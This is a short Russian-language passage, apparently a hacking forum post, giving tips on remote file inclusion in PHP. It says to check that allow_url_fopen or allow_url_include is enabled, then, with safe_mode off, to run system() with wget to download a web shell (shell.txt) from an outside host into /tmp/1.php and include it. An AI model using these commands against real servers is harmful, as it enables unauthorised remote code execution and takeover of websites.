Перед тем как использовать copy или include(файла со стороннего сервера), убедись в том что директивы allow_url_fopen или allow_url_include, соответственно, стоят в on.

если safe_mode=off, то можно с system попробовать,
=system('wget site.com/shell.txt -O /tmp/1.php'); , или альтернативными качалками , ну и потом инклудить, как было написано выше.